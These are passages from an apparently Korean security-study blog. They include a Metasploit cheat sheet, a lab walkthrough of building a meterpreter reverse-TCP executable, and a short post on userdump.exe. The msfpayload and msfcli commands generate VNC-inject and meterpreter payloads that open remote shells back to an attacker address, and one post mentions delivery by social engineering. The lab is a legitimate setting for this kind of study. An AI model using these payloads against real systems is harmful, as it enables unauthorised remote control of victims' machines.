./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 X > /tmp/reverse-vnc.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 DisableCourtesyShell=TRUE E


Target:

run reverse-vnc.exe




5. For a meterpreter listener


create payload:

./msfpayload windows/meterpreter/bind_tcp LPORT=2482 X > met-listen.exe


Target:

run met-listen.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.1.110 LPORT=2482 E




6. For a reverse meterpreter connection (not working yet. not sure why)


Create payload:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 X > /tmp/met-reverse.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.112 E


Target:

run met-reverse.exe



UPDATE: Payload should for 6 should read:


./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 LPORT=4444 X > /tmp/met-reverse.exe




'공부 > Forensics' 카테고리의 다른 글

[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Forensics]Live Response  (1) 2012.07.25
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
[Windows]Userdump.exe  (0) 2012.07.19
[Windows]Nbtstat.exe  (0) 2012.07.19
Posted by extr
:

책보다 보니까 Metasploit Framework의 Meterpreter가 있길래 궁금해서 직접 해보기로 했다.


시연 내용은 Meterpreter의 Reverse exe이다.


우선 시연 환경 설명.



[Figure 1 - Victim XP]



먼저 Victim부터.


위의 XP는 Reverse exe 공격을 받게 될 가상 환경이다.


IP는 192.168.138.133.



[Figure 2 - Attacker Ubuntu]



그리고 Attacker인 Ubuntu.


IP는 192.168.138.135이다.

 



[Figure 3 - 파일 전송을 위한 포트 오픈]



Meterpreter를 통하여 Reverse exe 파일을 만들게 되면 공격자는 대상(Victim) 컴퓨터에 파일을 옮겨 둘 필요가 있다. Exploit을 하게 되면 세션을 물기 위해서 나중에 그 파일을 실행해야 하기 때문이다. 


그러므로, 굳이 nc가 아니더라도 USB를 이용하여 옮길 수도 있고, FTP, WebServer, Mail 등을 이용하여 옮길 수 있다(이 방법은 실제 상황에선 사회공학적인 방법이 된다). 필자는 가장 간단한 방법이고 어디까지나 시연이기 때문에 nc를 이용하여 파일을 전송하도록 하겠다.


nc를 이용한 파일 전송 방법은 여기를 클릭하여 확인할 수 있다.




[Figure 4 - Reverse exe 생성 및 파일 전송]



먼저 Reverse exe를 생성하는 방법을 알아보자.


[Figure 5 - Reverse exe 생성]



Reverse exe는 msfpayload를 이용하여 생성시킬 수 있다. msfpayload의 usage는 다음과 같다.



Usage: /opt/metasploit-4.4.0/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>


ex> msfpayload [no_option] <payload : windows/meterpreter/reverse_tcp> [var(LHOST,LPORT)] [exe : X] > (File Name)



payload는 TAB이 안되므로 직접 타이핑해야한다.


var로써 LHOST와 LPORT가 주어져있다. 이는 Reverse exe가 동작되는 컴퓨터(Victim)에서 세션을 물기 위한 목적지를 의미한다. 그러므로, 자신(Attacker)의 정보를 기입해주면 된다.


혹시나 해서 풀어서 설명해주자면 LHOST는 IP이고 LPORT는 Port(임의)이다. 정보를 기입한 후, 쓰기형식으로 exe 파일을 만들어내면 된다.


만들었으면 Victim PC에게 전송시키자.



[Figure 6 - 정상적으로 전송이 된 Reverse exe 파일]



올ㅋ굳ㅋ


이제 본격적으로 Exploit을 해보자. 


Exploit이라고 해도 이 작업은 기본적인 툴을 사용하기 때문에 그렇게 어렵지 않다. 약간의 세팅과 명령어 하나면 끝나는 작업이다.



[Figure 7 - 세팅 작업]



이런식으로 하나하나 세팅 후 Exploiting해도 되지만, MSFCLI를 이용하면 더 간단히 할 수 있다.



[Figure 8 - MSFCLI Exploit]



Exploit을 하게되면 Victim이 프로그램을 실행(세션을 물 때 까지)할 때 까지 대기를하다가, 프로그램을 실행하게 되면 위와 같이 meterpreter console이 실행되게 된다.


help를 통해 사용할 수 있는 명령어를 확인할 수 있다.



[Figure 9 - Victim Process]



위와 같이 ps 명령으로 Victim의 현재 동작중인 프로세스를 확인할 수도 있다.


[Figure 10 - Victim Network Status(netstat -nabo)]


하지만 Reverse exe Victim 또한 네트워크 연결 상태, 또는 프로세스 동작 상태를 통해 확인할 수 있다. 물론 보이지 않게 할 수 있다. 다만, 지금 시연된 meterpreter(모든 기능을 보지 않았기 때문에 미터프리터에 스텔스기능이 존재하는지는 잘 모르겠다.)에서 옵션 일부분을 필자가 확인할 땐 이러한 기능을 없는 것 같았다.



Meterpreter에 대한 사용 방법 - http://www.nologin.org/Downloads/Papers/meterpreter.pdf



'공부 > Forensics' 카테고리의 다른 글

[Forensics]Live Response  (1) 2012.07.25
[Metasploit] Msfpayload  (0) 2012.07.21
[Windows]Userdump.exe  (0) 2012.07.19
[Windows]Nbtstat.exe  (0) 2012.07.19
[NTSecurity]PromiscDetect.exe  (0) 2012.07.17
Posted by extr
:

Userdump.exe는 Microsoft사에서 만든 유저모드 프로세스 덤프 제작 프로그램이며, x86과 x64 모두를 지원한다.

사용 방법 아래와 같다.


userdump.exe [PID] [Output]

>>PID는 -p 옵션을 통해 확인이 가능하다.


[Figure 1 - Userdump.exe]


이는 nc.exe를 통해 다른 컴퓨터에 실행 결과를 바로 전송할 수 없으므로, [Output]에 UNC로 기입하여 전송 가능하다.

'공부 > Forensics' 카테고리의 다른 글

[Metasploit] Msfpayload  (0) 2012.07.21
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
[Windows]Nbtstat.exe  (0) 2012.07.19
[NTSecurity]PromiscDetect.exe  (0) 2012.07.17
[Windows]Ipconfig.exe  (0) 2012.07.17
Posted by extr
: